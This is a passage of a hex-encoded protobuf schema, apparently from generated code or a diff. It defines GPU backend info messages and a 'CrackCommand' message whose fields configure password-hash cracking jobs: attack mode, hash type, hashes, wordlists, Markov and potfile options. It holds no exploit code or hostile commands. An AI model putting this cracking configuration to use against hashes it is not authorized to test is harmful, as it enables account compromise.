0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, - 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, - 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, - 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, - 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, - 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, - 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, - 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, - 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, - 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, - 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, - 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, - 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, - 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, - 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, - 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, - 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, - 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, - 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, - 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, - 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, - 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, - 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, - 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, - 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, - 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, - 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, - 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, - 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, - 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, - 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, - 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, - 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, - 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, - 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, - 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, - 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, - 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, - 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, - 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, - 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, - 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, - 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, - 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, - 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, - 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, - 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, - 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, - 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, - 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, - 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, - 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, - 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, - 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, - 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, - 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, - 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, - 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, - 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, - 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, - 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, - 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, - 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, - 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, - 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, - 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, - 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, - 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, - 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, - 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, - 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, - 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, - 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, - 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, - 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, - 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, - 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, - 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, - 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, - 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, - 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, - 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, - 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, - 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, - 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, - 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, - 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, - 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, - 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, - 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, - 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, - 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, - 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, - 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, - 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, - 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, - 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, - 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 